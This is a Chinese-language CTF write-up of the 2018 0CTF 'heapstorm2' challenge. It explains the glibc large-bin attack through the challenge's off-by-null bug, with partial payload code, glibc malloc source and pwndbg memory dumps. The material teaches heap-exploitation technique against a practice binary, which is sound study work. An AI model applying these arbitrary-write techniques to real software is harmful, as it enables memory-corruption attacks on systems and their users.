largebin_attack利用第一彈:2018-0ctf-heapstorm2

sfftlt_發表於2019-05-24

mallopt

下面是在glibc-2.24裡面截出來的,看看下面的英文註釋就大概明白了。

parameter_number 根據值確定是哪一種型別,parameter_value是為對應的parameter_number型別進行賦值。

比如,mallopt(1,0)就是對M_MXFAST設定值為0,表示禁用fastbin。

/*  
  M_MXFAST is the maximum request size used for "fastbins", special bins
  that hold returned chunks without consolidating their spaces. This
  enables future requests for chunks of the same size to be handled
  very quickly, but can increase fragmentation, and thus increase the
  overall memory footprint of a program.

  This malloc manages fastbins very conservatively yet still
  efficiently, so fragmentation is rarely a problem for values less
  than or equal to the default.  The maximum supported value of MXFAST
  is 80. You wouldn't want it any higher than this anyway.  Fastbins
  are designed especially for use with many small structs, objects or
  strings -- the default handles structs/objects/arrays with sizes up
  to 8 4byte fields, or small strings representing words, tokens,
  etc. Using fastbins for larger objects normally worsens
  fragmentation without improving speed.

  M_MXFAST is set in REQUEST size units. It is internally used in
  chunksize units, which adds padding and alignment.  You can reduce
  M_MXFAST to 0 to disable all use of fastbins.  This causes the malloc
  algorithm to be a closer approximation of fifo-best-fit in all cases,
  not just for larger requests, but will generally cause it to be
  slower.
*/
/*
  mallopt(int parameter_number, int parameter_value)
  Sets tunable parameters The format is to provide a
  (parameter-number, parameter-value) pair.  mallopt then sets the
  corresponding parameter to the argument value if it can (i.e., so
  long as the value is meaningful), and returns 1 if successful else
  0.  SVID/XPG/ANSI defines four standard param numbers for mallopt,
  normally defined in malloc.h.  Only one of these (M_MXFAST) is used
  in this malloc. The others (M_NLBLKS, M_GRAIN, M_KEEP) don't apply,
  so setting them has no effect. But this malloc also supports four
  other options in mallopt. See below for details.  Briefly, supported
  parameters are as follows (listed defaults are for "typical"
  configurations).

  Symbol            param #   default    allowed param values
  M_MXFAST          1         64         0-80  (0 disables fastbins)
  M_TRIM_THRESHOLD -1         128*1024   any   (-1U disables trimming)
  M_TOP_PAD        -2         0          any
  M_MMAP_THRESHOLD -3         128*1024   any   (or 0 if no MMAP support)
  M_MMAP_MAX       -4         65536      any   (0 disables use of mmap)
*/

int
__libc_mallopt (int param_number, int value)
{
  mstate av = &main_arena;
  int res = 1;

  if (__malloc_initialized < 0)
    ptmalloc_init ();
  (void) mutex_lock (&av->mutex);
  /* Ensure initialization/consolidation */
  malloc_consolidate (av);

  LIBC_PROBE (memory_mallopt, 2, param_number, value);

  switch (param_number)
    {
    case M_MXFAST:
      if (value >= 0 && value <= MAX_FAST_SIZE)
        {
          LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
          set_max_fast (value);
        }
      else
        res = 0;
      break;

    case M_TRIM_THRESHOLD:
      LIBC_PROBE (memory_mallopt_trim_threshold, 3, value,
                  mp_.trim_threshold, mp_.no_dyn_threshold);
      mp_.trim_threshold = value;
      mp_.no_dyn_threshold = 1;
      break;

    case M_TOP_PAD:
      LIBC_PROBE (memory_mallopt_top_pad, 3, value,
                  mp_.top_pad, mp_.no_dyn_threshold);
      mp_.top_pad = value;
      mp_.no_dyn_threshold = 1;
      break;

    case M_MMAP_THRESHOLD:
      /* Forbid setting the threshold too high. */
      if ((unsigned long) value > HEAP_MAX_SIZE / 2)
        res = 0;
      else
        {
          LIBC_PROBE (memory_mallopt_mmap_threshold, 3, value,
                      mp_.mmap_threshold, mp_.no_dyn_threshold);
          mp_.mmap_threshold = value;
          mp_.no_dyn_threshold = 1;
        }
      break;

    case M_MMAP_MAX:
      LIBC_PROBE (memory_mallopt_mmap_max, 3, value,
                  mp_.n_mmaps_max, mp_.no_dyn_threshold);
      mp_.n_mmaps_max = value;
      mp_.no_dyn_threshold = 1;
      break;

    case M_CHECK_ACTION:
      LIBC_PROBE (memory_mallopt_check_action, 2, value, check_action);
      check_action = value;
      break;

    case M_PERTURB:
      LIBC_PROBE (memory_mallopt_perturb, 2, value, perturb_byte);
      perturb_byte = value;
      break;

    case M_ARENA_TEST:
      if (value > 0)
        {
          LIBC_PROBE (memory_mallopt_arena_test, 2, value, mp_.arena_test);
          mp_.arena_test = value;
        }
      break;

    case M_ARENA_MAX:
      if (value > 0)
        {
          LIBC_PROBE (memory_mallopt_arena_max, 2, value, mp_.arena_max);
          mp_.arena_max = value;
        }
      break;
    }
  (void) mutex_unlock (&av->mutex);
  return res;
}

2018-0ctf-heapstorm2

功能邏輯

找找其他的資料,櫻花師傅的文章分析還是比較仔細的。

漏洞點

int __fastcall update(_QWORD *a1)
{
  __int64 v2; // ST18_8
  __int64 v3; // rax
  signed int idx; // [rsp+10h] [rbp-20h]
  int size; // [rsp+14h] [rbp-1Ch]

  printf("Index: ");
  idx = get_input();
  if ( idx < 0 || idx > 15 || !xor_1((__int64)a1, a1[2 * (idx + 2LL) + 1]) )
    return puts("Invalid Index");
  printf("Size: ");
  size = get_input();
  if ( size <= 0 || size > (unsigned __int64)(xor_1((__int64)a1, a1[2 * (idx + 2LL) + 1]) - 12) )// 0 < size < heap.size - 12
    return puts("Invalid Size");
  printf("Content: ");
  v2 = xor_2(a1, a1[2 * (idx + 2LL)]);
  sub_1377(v2, size);
  v3 = size + v2;
  *(_QWORD *)v3 = 5931051951075706184LL;
  *(_DWORD *)(v3 + 8) = 1229545293;
  *(_BYTE *)(v3 + 12) = 0;                      // off by null
  return printf("Chunk %d Updated\n", (unsigned int)idx);
}

存在off_by_one漏洞

思路整理

程式由明顯的off_by_one漏洞,可以構造overlapped chunk。普通的思路就是洩露heap、libc然後getshell。

但是這道題目的特殊之處在於,他mmap一塊區域儲存global node,並且和一個隨機數進行xor操作,並且view功能剛開始不能使用,所以我們需要控制mmap出來的記憶體空間,如果可以控制這部分記憶體空間,那麼後面的操作就很容易了。

利用分析

在large bin attack觸發前的情況是 unsorted bin 裡面有一個 chunk_A 0x060 , large bin 裡面有一個chunk_B 0x5c0 。並且unsorted bin中的chunk size較大

然後用下面的內容改寫unsortedbin 以及 large bin , 為觸發large bin attack構造條件。

	storage = 0x13370000 + 0x800
        fake_chunk = storage - 0x20

        p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
        p1 += p64(0) + p64(fake_chunk)      #bk
        update(7, p1) #modify unsorted bin  0x060

        p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
        p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
        p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
        update(8, p2) # modify largebin     0x5c0
        

此時unsortedbin裡面的A->bk指向了fake_chunk , 這裡的fake_chunk本來是沒有內容的,也就是說fake_chunk->size == 0 , 正常情況下分配記憶體的時候會報錯,但是我們透過large bin attack使得fake_chunk ->size正好等於0x56。

下面是需要利用到的large bin attack的glibc程式碼,我放到這,後面再詳細解釋。

else
            {
				/* 從這裡我們可以總結出,largebin 以 fd_nextsize 遞減排序。
                   同樣大小的 chunk,後來的只會插入到之前同樣大小的 chunk 後,
                   而不會修改之前相同大小的fd/bk_nextsize,這也很容易理解,
                   可以減低開銷。此外,bin 頭不參與 nextsize 連結。*/
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
		
              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      while ((unsigned long) size < fwd->size)
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }

                      if ((unsigned long) size == (unsigned long) fwd->size)
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

#define MAX_ITERS       10000
          if (++iters >= MAX_ITERS)
            break;
        }

進行操作前的chunk內容如下

pwndbg> x/4xg 0x5625d6050060 unsorted bin
0x5625d6050060:	0x0000000000000000	0x00000000000004f1
0x5625d6050070:	0x0000000000000000	0x00000000133707e0
pwndbg> x/6xg 0x5625d60505c0 large bin 
0x5625d60505c0:	0x0000000000000000	0x00000000000004e1
0x5625d60505d0:	0x0000000000000000	0x00000000133707e8
0x5625d60505e0:	0x0000000000000000	0x00000000133707c3

malloc 一個 0x40大小的chunk , 觸發large bin attack 。 觸發結束後 ,各個chunk的內容如下。

pwndbg> x/6xg 0x5625d6050060
0x5625d6050060:	0x0000000000000000	0x00000000000004f1
0x5625d6050070:	0x00007f42fc72fb38	0x00000000133707e8
0x5625d6050080:	0x00005625d60505c0	0x00000000133707c3
pwndbg> x/6xg 0x5625d60505c0
0x5625d60505c0:	0x0000000000000000	0x00000000000004e1
0x5625d60505d0:	0x0000000000000000	0x00005625d6050060
0x5625d60505e0:	0x0000000000000000	0x00005625d6050060

下面我們分析一下,當前下large bin 內的chunk大小小於unsortedbin內的chunk大小,並且large bin 內只有一個chunk,使用下面程式碼進行操作。

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

這裡的victim等於0x060 , fwd等於0x5c0 。

下面進行操作:

0x060+0x20 = 0x5c0 (victim->fd_nextsize = fwd)

0x060+0x28 = *(0x5c0 + 0x28) = 0x133707c3 (victim->bk_nextsize = fwd->bk_nextsize;)

0x5c0+0x28 = 0x060 (fwd->bk_nextsize = victim;)

0x133707c3 + 0x20 = 0x060 (victim->bk_nextsize->fd_nextsize = victim;)這裡完成了對fake_chunk size的賦值,賦值為0x56,地址的首位元組。(有可能是0x55,也有可能是0x56,2018-0ctf-babyheap劫持main_arena也需要這個姿勢,多跑幾次就可以碰到0x56開頭的地址)

其實現在來看,large bin的攻擊核心過程就是

victim->bk_nextsize = fwd->bk_nextsize;

victim->bk_nextsize->fd_nextsize = victim;

如果我們想要給某個物件賦值的時候,可以將fwd(large bin)的bk_nextsize設定成距離目標位置一定偏移處的地址。

bck = fwd->bk;

這裡的fwd = 0x5c0 ,所以bck = *(0x5c0+0x18) = 0x133707e8

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

0x060+0x18 = 0x133707e8

0x060+0x10 = 0x5c0

0x5c0+0x18 = 0x060

0x133707e8+0x10 = 0x060

vmmap區域的內容如下

pwndbg> x/20xg 0x00000000133707e0
0x133707e0:	0x25d6050060000000	0x0000000000000056
0x133707f0:	0x00007f42fc72fb38	0x00005625d6050060
0x13370800:	0x99aadb63494578ab	0x628b23e0f2f5db6c
0x13370810:	0x39301628a1dc6f51	0x39301628a1dc6f51
0x13370820:	0x99aa8d469f4078bb	0x628b23e0f2f5db74

到這裡unsorted bin中取出0x060插入large bin , 即 large bin attack的操作結束, mmap區域的fake_chunk->size已經被設定為0x56,在取出這個chunk的過程中,還會改動一個chunk的內容,如下

因為剩下的mmap區域的chunk位於unsorted bin內,大小完全匹配,下面的操作是解鏈操作,bck對應的fake_chunk->bk = 0x060。

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

0x060 + 0x10 = unsorted_chunks (av)


需要注意的地方

當我們在攻擊利用前需要對 large bin 進行構造,我們是下面這樣進行構造的。

 	p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
        p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
        p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks

上面是大佬的註釋,我覺得可能有點問題,我們要注意的是在bk欄位裡面要設定成fake_chunk+8。

具體原因如下:我們在利用large bin攻擊成功之後,mmap的fake_chunk->size被設定成我們目標的樣子,當正常分配的時候,肯定要解鏈,解鏈操作的時候,如下

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

其中的bck就是fake_chunk->bk 也就是 fake_chunk + 0x18

我們要保證這裡是一個可寫的地址,所以需要構造,最簡單的辦法讓其指向我們的heap。

在前面large_bin attck的過程中,有

bck = fwd->bk; 		bck = fake_chunk + 8

bck->fd = victim; 	fake_chunk + 8 +0x10 

所以我們在構造large bin的時候 , 在其bk位元組放置fake_chunk+8 就能保證large bin攻擊結束 , 進行unsortedbin解鏈的時候 , fake_chunk+0x18是一個可寫記憶體。

下面稍微解釋一下main_arena裡面的內容

pwndbg> x/40xg 0x7f42fc72fae0
0x7f42fc72fae0 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7f42fc72faf0 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7f42fc72fb00 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7f42fc72fb10 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7f42fc72fb20 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7f42fc72fb30 <main_arena+80>:	0x0000000000000000	0x00005625d6050ac0 top
0x7f42fc72fb40 <main_arena+96>:	0x00005625d60505c0	0x00005625d6050060 last_remainder unsorted bin
0x7f42fc72fb50 <main_arena+112>:	0x00005625d6050060	0x00007f42fc72fb48
0x7f42fc72fb60 <main_arena+128>:	0x00007f42fc72fb48	0x00007f42fc72fb58

因為glibc bin的節省空間機制,所以會看到,當unsorted bin的下面一個bin沒被賦值的時候,會和unsorted bin指向相同的內容。


總結一下重點:

總體來說,這道題目的利用方式

偽造large_bin的bk_nextsize以及large_bin的bk來向任意地址寫入heap_address :透過unsorted_bin解鏈插入large_bin過程中進行的large_bin_attack,並且控制unsorted_bin的bk指向fake_chunk,在解鏈結束後large_bin_attack結束,fake_chunk_size被修改完畢,繼續遍歷unsorted_bin過程中取出fake_chunk,達成利用。


前提:unsorted bin中chunk_size大於large_bin中的chunk_size,並且unsorted_bin和large_bin中的chunk均可控。(當然並不一定非要滿足這樣的大小關係,只是下面的利用程式碼流程是針對於unsorted_bin<large_bin的,其他情況可能也有類似的程式碼流程效果。)

主要利用程式碼:

victim   對應    unsorted_bin_chunk
fwd       對應    large_bin_chunk
(1)
1.    victim->fd_nextsize = fwd
2.    victim->bk_nextsize = fwd->bk_nextsize
3.    fwd->bk_nextsize = victim
4.    victim->bk_nextsize->fd_nextsize = victim

(2)
5.    bck = fwd->bk

(3)
6.    victim->bk = bck
7.    victim->fd = fwd
8.    fwd->bk = victim
9.    bck->fd = victim

上面這一組攻擊流程中具有兩組任意地址寫heap_address的效果。

第一次:  2 + 4  :victim->bk_nextsize = fwd->bk_nextsize     victim->bk_nextsize->fd_nextsize = victim    

將large_bin的bk_nextsize位置置為fake_chunk1,最終會在fake_chunk1+0x20處寫入heap_address


第二次:  5 + 9 : bck = fwd->bk   bck->fd = victim

將large_bin的bk置為fake_chunk2,最終會在fake_chunk2+0x10處寫入heap_address。


上面兩處任意地址寫heap_address在本題中,

第一處用來偽造fake_chunk_size(heap_address以0x56)

第二處用來達成unsorted_bin取出fake_chunk進行解鏈操作需要的條件:解鏈後眾所周知還要bck->fd = unsorted_bin(av);  注:此時的bck為fake_chunk->bk

我們要確保這裡的bck-fd是一個可寫的地址,因此將fake_chunk->bk置為heap_address再方便不過。


在附一遍我們是如何控制unsorted_bin和large_bin的內容:

        p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
        p1 += p64(0) + p64(fake_chunk)      #bk
        update(7, p1)                                   #modify unsorted bin

        p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
        p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when get out from unsorted bin
        p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
        update(8, p2)                                 # modify largebin  

總結很重要,要細品


參考資料: 
https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md
https://bbs.pediy.com/thread-225973.htm

相關文章